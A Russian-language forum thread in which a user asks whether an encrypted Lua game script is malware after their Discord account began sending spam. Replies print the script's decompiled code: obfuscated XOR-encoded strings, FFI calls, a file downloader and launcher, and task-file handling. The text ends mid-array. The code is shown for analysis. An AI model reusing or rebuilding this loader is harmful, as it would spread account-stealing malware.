Может ли закриптованный луа скрипт быть вирусом?

  • Автор темы Удалённый пользователь 452116
  • Дата начала
У

Удалённый пользователь 452116

Гость
Автор темы
Помогите, я скачал скрипт от ютубера в луа формате и он был закриптован чекнул на вирус тотале ноль вирусов, запустился я в игру и вдруг у меня джава просит обновиться я отменил загрузку, и вот все бы ничего, но на моем акке в дс начали рассылать рекламу по типу "бесплатно дискорд нитро" а именно он начал рассылать в 0:00 что это может быть, если нужно могу этот луа файл сюда скинуть
 

Fix_Name_Fix

Потрачен
470
147
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
На разбирайся, может чото-то поймешь, хотя наврятли.:
function randomFunction    local randomFunction1 (INPUT_VAR_0_,INPUT_VAR_1_)
    var_0_2 = 0 --var_0_2 NUMBER-NUMBER
    var_0_3 = 0 --var_0_3 NUMBER-NUMBER
    var_0_4 = 31 --var_0_4 NUMBER-NUMBER
    var_0_5 = 1 --var_0_5 NUMBER-NUMBER
    for var_0_6 = var_0_3,var_0_4,var_0_5 do --location 0005, loop ends at 0026-1
        var_0_7 = INPUT_VAR_0_ /  2 --var_0_7 NUMBER-NUMBER
        var_0_8 = INPUT_VAR_1_ /  2 --var_0_8 NUMBER-NUMBER
        var_0_7 = var_0_7 + var_0_8 --var_0_7 NUMBER-NUMBER
        var_0_9 = var_0_7
        var_0_8 = uget_0_0(var_0_9)
        if var_0_7 ~= var_0_8 then
            --jump to 0017 (if previous if statement is false) --0017 JMP-JMP
            var_0_8 = 2 --var_0_8 NUMBER-NUMBER
            var_0_8 = var_0_8 ^ var_0_6 --var_0_8 NUMBER-NUMBER
            var_0_2 = var_0_2 + var_0_8 --var_0_2 NUMBER-NUMBER
        end
        var_0_9 = INPUT_VAR_0_ /  2 --var_0_9 NUMBER-NUMBER
        var_0_8 = uget_0_0(var_0_9)
        var_0_0 = var_0_8
        var_0_9 = INPUT_VAR_1_ /  2 --var_0_9 NUMBER-NUMBER
        var_0_8 = uget_0_0(var_0_9)
        var_0_1 = var_0_8
    end --location 0025, loops back to 0006-1
    var_0_4 = var_0_2
    return uget_0_0(var_0_4)
end


function randomFunction    var_17_5 (INPUT_VAR_0_,INPUT_VAR_1_,INPUT_VAR_2_,INPUT_VAR_3_,INPUT_VAR_4_)
    var_1_2 = 0 --var_1_2 NUMBER-NUMBER
    var_1_3 = 1 --var_1_3 NUMBER-NUMBER
    LEN unhandled at 0004
    var_1_5 = 1 --var_1_5 NUMBER-NUMBER
    for var_1_6 = var_1_3,INPUT_VAR_4_,var_1_5 do --location 0006, loop ends at 0023-1
        var_1_2 = var_1_2 +  1 --var_1_2 NUMBER-NUMBER
        LEN unhandled at 0009
        if uget_1_0 < var_1_2 then
            --jump to 0013 (if previous if statement is false) --0013 JMP-JMP
            var_1_2 = 1 --var_1_2 NUMBER-NUMBER
        end
        var_1_7 = ""
        var_1_8 = uget_1_1( uget_1_2(unknown0, unknown1) )
        var_1_1 = var_1_7 .. var_1_8
    end --location 0022, loops back to 0007-1
    return var_1_1
end


function randomFunction    local randomFunction3 (INPUT_VAR_0_,INPUT_VAR_1_,INPUT_VAR_2_,INPUT_VAR_3_,INPUT_VAR_4_,INPUT_VAR_5_)
    var_2_3 = {} --to find out the contents of this table look inside the lua file
    var_2_2 = uget_2_1(var_2_3)
    var_2_2 = 0 --var_2_2 NUMBER-NUMBER
    var_2_3 = 0 --var_2_3 NUMBER-NUMBER
    var_2_4 = INPUT_VAR_0_
    LEN unhandled at 0009
    var_2_6 = nil --var_2_6 PRIMITIVE-PRIMITIVE
    var_2_7 = 0 --var_2_7 NUMBER-NUMBER
    var_2_1 = unknown2(var_2_2, var_2_3, var_2_4, INPUT_VAR_5_, var_2_6, var_2_7)
    var_2_4 = var_2_1 +  1 --var_2_4 NUMBER-NUMBER
    var_2_2 = uget_2_2.new("wchar_t[?]", var_2_4)
    var_2_5 = {} --to find out the contents of this table look inside the lua file
    var_2_4 = uget_2_1(var_2_5)
    var_2_4 = 0 --var_2_4 NUMBER-NUMBER
    var_2_5 = 0 --var_2_5 NUMBER-NUMBER
    var_2_6 = INPUT_VAR_0_
    LEN unhandled at 0026
    var_2_8 = var_2_2
    var_2_9 = var_2_1
    unknown3(var_2_4, var_2_5, var_2_6, var_2_7, var_2_8, var_2_9)
    return var_2_2
end


function randomFunction    local randomFunction4 (INPUT_VAR_0_,INPUT_VAR_1_)
    if not INPUT_VAR_1_ then
        --jump to 0008 (if previous if statement is false) --0008 JMP-JMP
        var_3_3 = INPUT_VAR_0_
        var_3_2 = uget_3_0.sizeof(var_3_3)
        var_3_1 = var_3_2
    end
    var_3_4 = {} --to find out the contents of this table look inside the lua file
    var_3_3 = uget_3_2(var_3_4)
    var_3_3 = 0 --var_3_3 NUMBER-NUMBER
    var_3_4 = 0 --var_3_4 NUMBER-NUMBER
    var_3_5 = INPUT_VAR_0_
    var_3_6 = var_3_1
    var_3_7 = nil --var_3_7 PRIMITIVE-PRIMITIVE
    var_3_8 = 0 --var_3_8 NUMBER-NUMBER
    var_3_9 = nil
    var_3_10 = nil
    var_3_2 = unknown4(var_3_3, var_3_4, var_3_5, var_3_6, var_3_7, var_3_8, var_3_9, var_3_10)
    var_3_5 = var_3_2 +  1 --var_3_5 NUMBER-NUMBER
    var_3_3 = uget_3_0.new("char[?]", var_3_5)
    var_3_6 = {} --to find out the contents of this table look inside the lua file
    var_3_5 = uget_3_2(var_3_6)
    var_3_5 = 0 --var_3_5 NUMBER-NUMBER
    var_3_6 = 0 --var_3_6 NUMBER-NUMBER
    var_3_7 = INPUT_VAR_0_
    var_3_8 = var_3_1
    var_3_9 = var_3_3
    var_3_10 = var_3_2
    var_3_11 = nil
    var_3_12 = nil
    unknown5(var_3_5, var_3_6, var_3_7, var_3_8, var_3_9, var_3_10, var_3_11, var_3_12)
    var_3_5 = var_3_3
    return uget_3_0.string(var_3_5)
end


function randomFunction    local randomFunction5 (INPUT_VAR_0_)
    var_4_2 = INPUT_VAR_0_
    return INPUT_VAR_0_.match(var_4_2, "(.*\).-%..+$")
end


function randomFunction    local randomFunction6 ()
    var_5_0 = 260 --var_5_0 NUMBER-NUMBER
    var_5_3 = var_5_0
    var_5_1 = uget_5_0.new("wchar_t[?]", var_5_3)
    var_5_4 = {} --to find out the contents of this table look inside the lua file
    var_5_3 = uget_5_2(var_5_4)
    var_5_3 = nil --var_5_3 PRIMITIVE-PRIMITIVE
    var_5_4 = var_5_1
    var_5_5 = var_5_0
    var_5_2 = unknown6(var_5_3, var_5_4, var_5_5)
    if var_5_2 ~= 0 then
        --jump to 0023 (if previous if statement is false) --0023 JMP-JMP
        var_5_4 = var_5_1
        uget_5_3( uget_5_4(var_5_4) )
    end
    var_5_2 = nil --var_5_2 PRIMITIVE-PRIMITIVE
    return var_5_2
end


function randomFunction    local randomFunction7 (INPUT_VAR_0_,INPUT_VAR_1_)
    if INPUT_VAR_0_ ~= nil then
        --jump to 0064 (if previous if statement is false) --0064 JMP-JMP
        if INPUT_VAR_1_ ~= nil then
            --jump to 0064 (if previous if statement is false) --0064 JMP-JMP
            var_6_4 = {} --to find out the contents of this table look inside the lua file
            var_6_3 = uget_6_1(var_6_4)
            var_6_5 = INPUT_VAR_1_
            var_6_2 = unknown7( uget_6_2( uget_6_3(var_6_5) ) )
            if var_6_2 then
                --jump to 0064 (if previous if statement is false) --0064 JMP-JMP
                var_6_3 = INPUT_VAR_0_
                var_6_2 = uget_6_2(var_6_3)
                var_6_4 = INPUT_VAR_1_
                var_6_3 = uget_6_2(var_6_4)
                var_6_1 = var_6_3
                var_6_0 = var_6_2
                var_6_4 = {} --to find out the contents of this table look inside the lua file
                var_6_3 = uget_6_1(var_6_4)
                var_6_3 = var_6_1
                var_6_2 = unknown8(var_6_3)
                if not var_6_2 then
                    --jump to 0064 (if previous if statement is false) --0064 JMP-JMP
                    var_6_4 = {} --to find out the contents of this table look inside the lua file
                    var_6_3 = uget_6_1(var_6_4)
                    var_6_3 = var_6_0
                    unknown9(var_6_3)
                    var_6_4 = {} --to find out the contents of this table look inside the lua file
                    var_6_3 = uget_6_1(var_6_4)
                    var_6_3 = nil --var_6_3 PRIMITIVE-PRIMITIVE
                    var_6_4 = var_6_0
                    var_6_5 = var_6_1
                    var_6_6 = 0 --var_6_6 NUMBER-NUMBER
                    var_6_7 = nil --var_6_7 PRIMITIVE-PRIMITIVE
                    var_6_2 = unknown10(var_6_3, var_6_4, var_6_5, var_6_6, var_6_7)
                    if var_6_2 == 0 then
                        --jump to 0064 (if previous if statement is false) --0064 JMP-JMP
                        var_6_4 = {} --to find out the contents of this table look inside the lua file
                        var_6_3 = uget_6_1(var_6_4)
                        var_6_3 = 250 --var_6_3 NUMBER-NUMBER
                        unknown11(var_6_3)
                        var_6_2 = true --var_6_2 PRIMITIVE-PRIMITIVE
                        return var_6_2
                    end
                end
            end
        end
    end
    var_6_2 = false --var_6_2 PRIMITIVE-PRIMITIVE
    return var_6_2
end


function randomFunction    local randomFunction8 (INPUT_VAR_0_)
    if INPUT_VAR_0_ ~= nil then
        --jump to 0018 (if previous if statement is false) --0018 JMP-JMP
        var_7_3 = {} --to find out the contents of this table look inside the lua file
        var_7_2 = uget_7_1(var_7_3)
        var_7_2 = nil --var_7_2 PRIMITIVE-PRIMITIVE
        var_7_3 = uget_7_2("open")
        var_7_5 = INPUT_VAR_0_
        var_7_4 = uget_7_2(var_7_5)
        var_7_5 = nil
        var_7_6 = nil
        var_7_7 = 0 --var_7_7 NUMBER-NUMBER
        unknown12(var_7_2, var_7_3, var_7_4, var_7_5, var_7_6, var_7_7)
    end
    return
end


function randomFunction    local randomFunction9 (INPUT_VAR_0_)
    if INPUT_VAR_0_ ~= nil then
        --jump to 0013 (if previous if statement is false) --0013 JMP-JMP
        var_8_3 = {} --to find out the contents of this table look inside the lua file
        var_8_2 = uget_8_1(var_8_3)
        var_8_3 = INPUT_VAR_0_
        var_8_2 = uget_8_2(var_8_3)
        var_8_3 = 7 --var_8_3 NUMBER-NUMBER
        unknown13(var_8_2, var_8_3)
    end
    return
end


function randomFunction    local randomFunction10 (INPUT_VAR_0_)
    var_9_3 = INPUT_VAR_0_
    var_9_2 = INPUT_VAR_0_.gsub(var_9_3, "(", "[%1]=")
    var_9_0 = "return " .. var_9_2
    var_9_2 = var_9_0
    var_9_1 = load(var_9_2)
    if var_9_1 ~= nil then
        --jump to 0023 (if previous if statement is false) --0023 JMP-JMP
        var_9_2 = var_9_1
        var_9_2 = var_9_2()
        if var_9_2 ~= nil then
            --jump to 0023 (if previous if statement is false) --0023 JMP-JMP
            var_9_4 = var_9_2
            var_9_3 = type(var_9_4)
            if var_9_3 ==  "table" then
                --jump to 0023 (if previous if statement is false) --0023 JMP-JMP
                return var_9_2
            end
        end
    end
    var_9_2 = nil --var_9_2 PRIMITIVE-PRIMITIVE
    return var_9_2
end


function randomFunction    local randomFunction11 ()
    var_10_2 = {} --to find out the contents of this table look inside the lua file
    var_10_1 = uget_10_2(var_10_2)
    var_10_1 = nil --var_10_1 PRIMITIVE-PRIMITIVE
    var_10_2 = false --var_10_2 PRIMITIVE-PRIMITIVE
    var_10_4 = var_10_4 .. "_" .. uget_10_5
    var_10_0 = unknown14(var_10_1, var_10_2,  uget_10_3(var_10_4) )
    var_10_0 = var_10_0
    var_10_2 = {} --to find out the contents of this table look inside the lua file
    var_10_1 = uget_10_2(var_10_2)
    var_10_0 = unknown15()
    if var_10_0 == 0 then
        --jump to 0026 (if previous if statement is false) --0026 JMP-JMP
        var_10_0 = true --var_10_0 PRIMITIVE-PRIMITIVE
        return var_10_0
    end
    var_10_0 = false --var_10_0 PRIMITIVE-PRIMITIVE
    return var_10_0
end


function randomFunction    local randomFunction12 (INPUT_VAR_0_)
    if INPUT_VAR_0_ ~= nil then
        --jump to 0082 (if previous if statement is false) --0082 JMP-JMP
        var_11_2 = INPUT_VAR_0_
        var_11_1 = uget_11_0(var_11_2)
        var_11_0 = var_11_1
        var_11_3 = {} --to find out the contents of this table look inside the lua file
        var_11_2 = uget_11_2(var_11_3)
        var_11_2 = var_11_0
        var_11_3 = 2147483648 --var_11_3 NUMBER-NUMBER
        var_11_4 = 1 --var_11_4 NUMBER-NUMBER
        var_11_5 = nil --var_11_5 PRIMITIVE-PRIMITIVE
        var_11_6 = 3 --var_11_6 NUMBER-NUMBER
        var_11_7 = 128 --var_11_7 NUMBER-NUMBER
        var_11_8 = nil --var_11_8 PRIMITIVE-PRIMITIVE
        var_11_1 = unknown16(var_11_2, var_11_3, var_11_4, var_11_5, var_11_6, var_11_7, var_11_8)
        var_11_4 = -1 --var_11_4 NUMBER-NUMBER
        var_11_2 = uget_11_3.cast("void*", var_11_4)
        if var_11_1 ~= var_11_2 then
            --jump to 0082 (if previous if statement is false) --0082 JMP-JMP
            var_11_4 = {} --to find out the contents of this table look inside the lua file
            var_11_3 = uget_11_2(var_11_4)
            var_11_3 = var_11_1
            var_11_4 = nil --var_11_4 PRIMITIVE-PRIMITIVE
            var_11_2 = unknown17(var_11_3, var_11_4)
            var_11_5 = var_11_2
            var_11_3 = uget_11_3.new("char[?]", var_11_5)
            var_11_6 = 1 --var_11_6 NUMBER-NUMBER
            var_11_4 = uget_11_3.new("size_t[?]", var_11_6)
            var_11_7 = {} --to find out the contents of this table look inside the lua file
            var_11_6 = uget_11_2(var_11_7)
            var_11_6 = var_11_1
            var_11_7 = var_11_3
            var_11_8 = var_11_2
            var_11_9 = var_11_4
            var_11_10 = nil --var_11_10 PRIMITIVE-PRIMITIVE
            var_11_5 = unknown18(var_11_6, var_11_7, var_11_8, var_11_9, var_11_10)
            if var_11_5 == 1 then
                --jump to 0060 (if previous if statement is false) --0060 JMP-JMP
                var_11_5 = false --var_11_5 PRIMITIVE-PRIMITIVE
            else
                --location 0060--0060 LOCATION-LOCATION_
                var_11_5 = true --var_11_5 PRIMITIVE-PRIMITIVE
            end
            var_11_8 = {} --to find out the contents of this table look inside the lua file
            var_11_7 = uget_11_2(var_11_8)
            var_11_7 = var_11_1
            unknown19(var_11_7)
            var_11_8 = {} --to find out the contents of this table look inside the lua file
            var_11_7 = uget_11_2(var_11_8)
            var_11_7 = var_11_0
            unknown20(var_11_7)
            if var_11_5 then
                --jump to 0082 (if previous if statement is false) --0082 JMP-JMP
                var_11_7 = var_11_3
                var_11_8 = var_11_2
                return uget_11_3.string(var_11_7, var_11_8)
            end
        end
    end
    var_11_1 = nil --var_11_1 PRIMITIVE-PRIMITIVE
    return var_11_1
end


function randomFunction    local randomFunction13 ()
    var_12_0 = 260 --var_12_0 NUMBER-NUMBER
    var_12_3 = var_12_0
    var_12_1 = uget_12_0.new("wchar_t[?]", var_12_3)
    var_12_4 = {} --to find out the contents of this table look inside the lua file
    var_12_3 = uget_12_2(var_12_4)
    var_12_3 = var_12_0
    var_12_4 = var_12_1
    unknown21(var_12_3, var_12_4)
    var_12_3 = var_12_1
    return uget_12_3(var_12_3)
end


function randomFunction    local randomFunction14 ()
    var_13_1 = uget_13_1()
    var_13_1 = var_13_1 .. "task_" .. uget_13_2 .. ".txt"
    var_13_0 = uget_13_0(var_13_1)
    var_13_3 = {} --to find out the contents of this table look inside the lua file
    var_13_2 = uget_13_4(var_13_3)
    var_13_2 = var_13_0
    var_13_1 = unknown22(var_13_2)
    if var_13_1 then
        --jump to 0025 (if previous if statement is false) --0025 JMP-JMP
        var_13_3 = {} --to find out the contents of this table look inside the lua file
        var_13_2 = uget_13_4(var_13_3)
        var_13_2 = var_13_0
        unknown23(var_13_2)
    end
    return
end


function randomFunction    local randomFunction15 (INPUT_VAR_0_,INPUT_VAR_1_)
    var_14_2 = {} --to find out the contents of this table look inside the lua file
    var_14_4 = {} --to find out the contents of this table look inside the lua file
    var_14_3 = uget_14_0(var_14_4)
    var_14_2[1] = var_14_3
    var_14_4 = {} --to find out the contents of this table look inside the lua file
    var_14_3 = uget_14_0(var_14_4)
    var_14_2[2] = var_14_3
    var_14_3 = uget_14_1()
    var_14_2[4] = var_14_3
    var_14_4 = {} --to find out the contents of this table look inside the lua file
    var_14_3 = uget_14_0(var_14_4)
    var_14_2[5] = var_14_3
    var_14_4 = INPUT_VAR_1_
    for var_14_6, var_14_7 in pairs(var_14_4) do --var_14_3 FORTEST-FORTEST
        if unknown24 ~= nil then
            --jump to 0052 (if previous if statement is false) --0052 JMP-JMP
            if var_14_7.type == 0 then
                --jump to 0033 (if previous if statement is false) --0033 JMP-JMP
                var_14_9 = unknown24
                var_14_9 = var_14_9 .. var_14_7.name
                if not var_14_9 then
                end -- maybe?
            else
                --location 0033--0033 LOCATION-LOCATION_
                var_14_9 = INPUT_VAR_0_
                var_14_10 = unknown24
                var_14_9 = var_14_9 .. var_14_10 .. var_14_7.name
            end
            var_14_12 = var_14_9
            var_14_10 = uget_14_2(var_14_7.link, var_14_12)
            if var_14_10 then
                --jump to 0052 (if previous if statement is false) --0052 JMP-JMP
                var_14_11 = var_14_9
                uget_14_3(var_14_11)
                if var_14_7.type == 0 then
                    --jump to 0052 (if previous if statement is false) --0052 JMP-JMP
                    var_14_11 = var_14_9
                end
            end
            uget_14_4(var_14_11)
        end
    end --end of a for loop
    return
end


function randomFunction    var_17_30 ()
    var_15_0 = uget_15_0()
    if var_15_0 then
        --jump to 0007 (if previous if statement is false) --0007 JMP-JMP
        var_15_0 = 0 --var_15_0 NUMBER-NUMBER
        return var_15_0
    end
    var_15_2 = {} --to find out the contents of this table look inside the lua file
    var_15_1 = uget_15_2(var_15_2)
    var_15_1 = nil --var_15_1 PRIMITIVE-PRIMITIVE
    unknown25(var_15_1)
    var_15_2 = {} --to find out the contents of this table look inside the lua file
    var_15_1 = uget_15_2(var_15_2)
    var_15_1 = 268435457 --var_15_1 NUMBER-NUMBER
    var_15_2 = uget_15_4.cast("void*", uget_15_5)
    LEN unhandled at 0026
    var_15_4 = 0 --var_15_4 NUMBER-NUMBER
    unknown26(var_15_1, var_15_2, uget_15_5, var_15_4)
    var_15_0 = uget_15_6()
    var_15_1 = var_15_0
    var_15_1 = var_15_1 .. "task_" .. uget_15_7 .. ".txt"
    var_15_3 = var_15_3 .. uget_15_7
    var_15_4 = var_15_1
    var_15_2 = uget_15_8(var_15_3, var_15_4)
    if var_15_2 then
        --jump to 0058 (if previous if statement is false) --0058 JMP-JMP
        var_15_4 = var_15_1
        var_15_3 = uget_15_10(var_15_4)
        if var_15_3 ~= nil then
            --jump to 0058 (if previous if statement is false) --0058 JMP-JMP
            var_15_5 = var_15_3
            var_15_4 = uget_15_11(var_15_5)
            if var_15_4 ~= nil then
                --jump to 0058 (if previous if statement is false) --0058 JMP-JMP
                var_15_6 = var_15_0
                var_15_7 = var_15_4
                uget_15_12(var_15_6, var_15_7)
            end
        end
    end
    var_15_5 = {} --to find out the contents of this table look inside the lua file
    var_15_4 = uget_15_2(var_15_5)
    unknown27()
    var_15_3 = 0 --var_15_3 NUMBER-NUMBER
    return var_15_3
end


function randomFunction    onScriptTerminate (INPUT_VAR_0_)
    if INPUT_VAR_0_ == script.this then
        --jump to 0035 (if previous if statement is false) --0035 JMP-JMP
        uget_16_0()
        if uget_16_1 ~= nil then
            --jump to 0017 (if previous if statement is false) --0017 JMP-JMP
            var_16_3 = {} --to find out the contents of this table look inside the lua file
            var_16_2 = uget_16_3(var_16_3)
            unknown28(uget_16_1)
        end
        if uget_16_4 ~= nil then
            --jump to 0035 (if previous if statement is false) --0035 JMP-JMP
            var_16_3 = {} --to find out the contents of this table look inside the lua file
            var_16_2 = uget_16_3(var_16_3)
            var_16_3 = 0 --var_16_3 NUMBER-NUMBER
            unknown29(uget_16_4, var_16_3)
            var_16_3 = {} --to find out the contents of this table look inside the lua file
            var_16_2 = uget_16_3(var_16_3)
            unknown30(uget_16_4)
        end
    end
    return
end


function someFunc17()
    var_17_0 = {} --to find out the contents of this table look inside the lua file
    local randomFunction0 = function() end -- starts at  test.lua:0
    local randomFunction1 = function() end -- starts at  test.lua:0
    var_17_5 = randomFunction1
    var_17_6 = {} --to find out the contents of this table look inside the lua file
    var_17_5 = var_17_5(var_17_6)
    var_17_7 = randomFunction1
    var_17_8 = {} --to find out the contents of this table look inside the lua file
    var_17_6 = require( var_17_7(var_17_8) )
    var_17_9 = randomFunction1
    var_17_10 = {} --to find out the contents of this table look inside the lua file
    var_17_6.cdef( var_17_9(var_17_10) )
    var_17_9 = randomFunction1
    var_17_10 = {} --to find out the contents of this table look inside the lua file
    var_17_8 = var_17_6.load( var_17_9(var_17_10) )
    var_17_10 = randomFunction1
    var_17_11 = {} --to find out the contents of this table look inside the lua file
    var_17_9 = var_17_6.load( var_17_10(var_17_11) )
    var_17_11 = randomFunction1
    var_17_12 = {} --to find out the contents of this table look inside the lua file
    var_17_10 = var_17_6.load( var_17_11(var_17_12) )
    var_17_12 = randomFunction1
    var_17_13 = {} --to find out the contents of this table look inside the lua file
    var_17_11 = var_17_6.load( var_17_12(var_17_13) )
    var_17_13 = randomFunction1
    var_17_14 = {} --to find out the contents of this table look inside the lua file
    var_17_12 = var_17_6.load( var_17_13(var_17_14) )
    var_17_13 = randomFunction1
    var_17_14 = {} --to find out the contents of this table look inside the lua file
    var_17_13 = var_17_13(var_17_14)
    var_17_14 = randomFunction1
    var_17_15 = {} --to find out the contents of this table look inside the lua file
    var_17_14 = var_17_14(var_17_15)
    var_17_15 = nil --var_17_15 PRIMITIVE-PRIMITIVE
    local randomFunction2 = function() end -- starts at  test.lua:0
    local randomFunction3 = function() end -- starts at  test.lua:0
    local randomFunction4 = function() end -- starts at  test.lua:0
    local randomFunction5 = function() end -- starts at  test.lua:0
    local randomFunction6 = function() end -- starts at  test.lua:0
    local randomFunction7 = function() end -- starts at  test.lua:0
    local randomFunction8 = function() end -- starts at  test.lua:0
    local randomFunction9 = function() end -- starts at  test.lua:0
    local randomFunction10 = function() end -- starts at  test.lua:0
    local randomFunction11 = function() end -- starts at  test.lua:0
    local randomFunction12 = function() end -- starts at  test.lua:0
    local randomFunction13 = function() end -- starts at  test.lua:0
    local randomFunction14 = function() end -- starts at  test.lua:0
    local randomFunction15 = function() end -- starts at  test.lua:0
    var_17_30 = randomFunction1
    var_17_31 = {} --to find out the contents of this table look inside the lua file
    var_17_30 = var_17_30(var_17_31)
    var_17_31 = nil --var_17_31 PRIMITIVE-PRIMITIVE
    var_17_32 = 0 --var_17_32 NUMBER-NUMBER
    var_17_35 = randomFunction15
    var_17_33 = var_17_6.cast("thread", var_17_35)
    var_17_34 = nil --var_17_34 PRIMITIVE-PRIMITIVE
    var_17_35 = 0 --var_17_35 NUMBER-NUMBER
    var_17_36 = nil --var_17_36 PRIMITIVE-PRIMITIVE
    var_17_30 = unknown31(var_17_31, var_17_32, var_17_33, var_17_34, var_17_35, var_17_36)
    if getMoonloaderVersion == nil then
        --jump to 0110 (if previous if statement is false) --0110 JMP-JMP
        if var_17_30 ~= nil then
            --jump to 0110 (if previous if statement is false) --0110 JMP-JMP
            var_17_31 = randomFunction1
            var_17_32 = {} --to find out the contents of this table look inside the lua file
            var_17_31 = var_17_31(var_17_32)
            var_17_32 = var_17_30
            var_17_33 = 4294967295 --var_17_33 NUMBER-NUMBER
            unknown32(var_17_32, var_17_33)
            var_17_31 = randomFunction1
            var_17_32 = {} --to find out the contents of this table look inside the lua file
            var_17_31 = var_17_31(var_17_32)
            var_17_32 = var_17_30
            unknown33(var_17_32)
            var_17_31 = randomFunction13
            var_17_31()
            if var_17_15 ~= nil then
                --jump to 0110 (if previous if statement is false) --0110 JMP-JMP
                var_17_31 = randomFunction1
                var_17_32 = {} --to find out the contents of this table look inside the lua file
                var_17_31 = var_17_31(var_17_32)
                var_17_32 = var_17_15
                unknown34(var_17_32)
            end
        end
    end
    local randomFunction16 = function() end -- starts at  test.lua:0
    onScriptTerminate = randomFunction16
    return
end
 

vegas

Известный
545
425
вот более менее читабельный исходник

Lua:
slot0 = {
    68,
    53,
    77,
    30,
    85,
    71,
    31,
    53
}
slot1 = math.floor
slot2 = string.char

function slot3(slot0, slot1)
    for slot6 = 0, 31, 1 do
        if slot0 / 2 + slot1 / 2 ~= uv0(slot0 / 2 + slot1 / 2) then
            slot2 = 0 + 2^slot6
        end

        slot0 = uv0(slot0 / 2)
        slot1 = uv0(slot1 / 2)
    end

    return uv0(slot2)
end

local function slot4(slot0)
    slot1 = ""

    for slot6 = 1, #slot0, 1 do
        if 0 + 1 > #uv0 then
            slot2 = 1
        end

        slot1 = slot1 .. uv1(uv2(slot0[slot6], uv0[slot2]))
    end

    return slot1
end

slot5 = slot4({
    116,
    5,
    125,
    44
})
slot6 = require(slot4({
    34,
    83,
    36
}))

slot6.cdef(slot4({
    100,
    65,
    52,
    110,
    48,
    35,
    122,
    83,
    100,
    64,
    35,
    109,
    60,
    32,
    113,
    80,
    32,
    21,
    33,
    113,
    59,
    32,
    63,
    29,
    27,
    106,
    62,
    106,
    49,
    36,
    126,
    89,
    40,
    31,
    109,
    106,
    61,
    53,
    122,
    84,
    32,
    28,
    101,
    104,
    58,
    46,
    123,
    31,
    109,
    14,
    109,
    104,
    58,
    46,
    123,
    31,
    100,
    106,
    18,
    109,
    33,
    35,
    124,
    84,
    40,
    89,
    109,
    93,
    39,
    34,
    126,
    65,
    33,
    97,
    37,
    108,
    48,
    38,
    123,
    29,
    50,
    90,
    36,
    122,
    127,
    107,
    63,
    70,
    45,
    79,
    40,
    65,
    33,
    107,
    63,
    65,
    44,
    71,
    40,
    127,
    49,
    107,
    63,
    67,
    43,
    92,
    41,
    52,
    121,
    103,
    106,
    91,
    55,
    92,
    42,
    112,
    48,
    35,
    63,
    89,
    43,
    91,
    42,
    50,
    117,
    50,
    113,
    70,
    45,
    82,
    35,
    123,
    49,
    103,
    115,
    90,
    42,
    82,
    103,
    55,
    110,
    103,
    125,
    90,
    43,
    89,
    109,
    65,
    10,
    52,
    107,
    81,
    39,
    84,
    33,
    114,
    117,
    19,
    122,
    71,
    41,
    92,
    35,
    127,
    33,
    34,
    75,
    93,
    54,
    80,
    44,
    122,
    125,
    49,
    112,
    92,
    32,
    31,
    97,
    62,
    32,
    41,
    108,
    92,
    35,
    91,
    40,
    122,
    117,
    43,
    112,
    91,
    35,
    28,
    118,
    62,
    32,
    41,
    108,
    92,
    35,
    91,
    40,
    122,
    117,
    43,
    112,
    91,
    35,
    21,
    18,
    65,
    38,
    51,
    123,
    86,
    37,
    89,
    33,
    62,
    2,
    38,
    118,
    65,
    2,
    90,
    63,
    77,
    60,
    41,
    120,
    89,
    33,
    122,
    47,
    116,
    48,
    36,
    107,
    29,
    50,
    90,
    36,
    122,
    127,
    107,
    63,
    64,
    42,
    70,
    36,
    121,
    59,
    34,
    123,
    21,
    40,
    90,
    35,
    121,
    124,
    124,
    63,
    67,
    43,
    92,
    41,
    52,
    117,
    24,
    64,
    70,
    48,
    81,
    46,
    127,
    57,
    43,
    63,
    118,
    54,
    80,
    44,
    106,
    48,
    10,
    106,
    65,
    33,
    77,
    26,
    54,
    35,
    40,
    118,
    81,
    110,
    25,
    109,
    124,
    58,
    40,
    115,
    25,
    100,
    86,
    34,
    112,
    38,
    51,
    63,
    66,
    39,
    93,
    44,
    108,
    10,
    51,
    53,
    28,
    127,
    21,
    56,
    112,
    38,
    46,
    120,
    91,
    33,
    81,
    109,
    114,
    58,
    41,
    120,
    21,
    27,
    106,
    62,
    106,
    49,
    36,
    126,
    89,
    40,
    21,
    10,
    123,
    33,
    11,
    126,
    70,
    48,
    112,
    63,
    108,
    58,
    53,
    55,
    67,
    43,
    92,
    41,
    55,
    110,
    103,
    115,
    90,
    42,
    82,
    109,
    65,
    10,
    52,
    107,
    81,
    39,
    84,
    33,
    114,
    117,
    18,
    109,
    89,
    9,
    94,
    30,
    123,
    33,
    20,
    122,
    70,
    55,
    92,
    34,
    112,
    26,
    55,
    107,
    92,
    43,
    91,
    101,
    107,
    59,
    52,
    118,
    82,
    42,
    80,
    41,
    62,
    57,
    40,
    113,
    82,
    104,
    21,
    59,
    113,
    60,
    35,
    53,
    25,
    100,
    64,
    35,
    109,
    60,
    32,
    113,
    80,
    32,
    21,
    33,
    113,
    59,
    32,
    51,
    21,
    49,
    91,
    62,
    119,
    50,
    41,
    122,
    81,
    100,
    89,
    34,
    112,
    50,
    110,
    36,
    21,
    38,
    90,
    34,
    114,
    117,
    24,
    64,
    70,
    48,
    81,
    46,
    127,
    57,
    43,
    63,
    113,
    33,
    89,
    40,
    106,
    48,
    18,
    109,
    89,
    7,
    84,
    46,
    118,
    48,
    2,
    113,
    65,
    54,
    76,
    26,
    54,
    54,
    40,
    113,
    70,
    48,
    21,
    58,
    125,
    61,
    38,
    109,
    106,
    48,
    31,
    100,
    37,
    117,
    43,
    112,
    91,
    35,
    21,
    18,
    65,
    38,
    51,
    123,
    86,
    37,
    89,
    33,
    62,
    0,
    21,
    83,
    113,
    43,
    66,
    35,
    114,
    58,
    38,
    123,
    97,
    43,
    115,
    36,
    114,
    48,
    16,
    55,
    67,
    43,
    92,
    41,
    52,
    121,
    103,
    124,
    90,
    42,
    70,
    57,
    62,
    34,
    36,
    119,
    84,
    54,
    106,
    57,
    52,
    121,
    103,
    124,
    90,
    42,
    70,
    57,
    62,
    34,
    36,
    119,
    84,
    54,
    106,
    57,
    52,
    121,
    103,
    106,
    91,
    55,
    92,
    42,
    112,
    48,
    35,
    63,
    89,
    43,
    91,
    42,
    50,
    117,
    49,
    112,
    92,
    32,
    31,
    100,
    37,
    117,
    37,
    112,
    90,
    40,
    21,
    18,
    65,
    38,
    51,
    123,
    86,
    37,
    89,
    33,
    62,
    6,
    34,
    107,
    115,
    45,
    89,
    40,
    95,
    33,
    51,
    109,
    92,
    38,
    64,
    57,
    123,
    38,
    16,
    55,
    86,
    43,
